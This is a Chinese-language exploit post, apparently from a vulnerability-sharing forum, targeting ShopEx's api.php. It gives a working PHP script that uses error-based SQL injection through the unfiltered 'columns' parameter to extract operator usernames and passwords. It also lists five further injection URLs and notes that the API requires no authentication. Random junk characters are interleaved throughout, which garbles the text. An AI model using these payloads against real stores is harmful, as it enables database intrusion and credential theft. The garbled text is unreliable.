|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
2 v! b% E9 m+ h; n4 G$ K+ Z9 E' score\api\payment\1.0\api_b2b_2_0_payment_cfg.php
, q( A5 Q5 t! L# o# `
% S t) e8 o8 N0 `9 u' w' p7 \第44行 $data['columns'] 未做过滤导致注入, `1 ~9 @5 P+ r& J
+ k# j1 a7 h0 S+ a7 o, S* |
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
4 n6 Z5 Q9 [6 g& r* y& I3 ~
6 {* F" K3 v' r4 l注射1:
$ h1 u: }. w1 n) p# ?1 N
8 \* }1 G/ X, k7 c! Mhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
' C3 C" Z8 m& H6 |- E; O) c2 f) }, ~; F
注射2:
# D C/ U7 ` f5 ]3 Ohttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
( l' v; a* V* v5 X+ D7 @7 a! j0 L0 p0 W: _, D0 ~
注射3:
& w% _7 {8 g0 Z% Z1 r http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
7 v! u* T4 i! J+ _注射4:. S0 b* O4 z" P5 L0 ]$ |0 I" l0 |
; M, O) v# ]* Jhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1! z- m! @3 M* C! ?; L6 `
/ d/ P: U( Q: }) J& ]
6 X0 @# J! u- e+ z/ c注射5:
# R8 u7 B$ L" q8 R, o- a. d http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
0 ]0 X3 u, H2 `- M/ C5 V8 f+ Z' K8 d# L+ c3 R* Q3 S3 j
# ~) |* z0 e/ \, K2 @0 l8 J, j
9 ~9 i. p) c& t& f
; |# e7 z+ L. i; E. u
# h& D# y( i0 d" g V |
|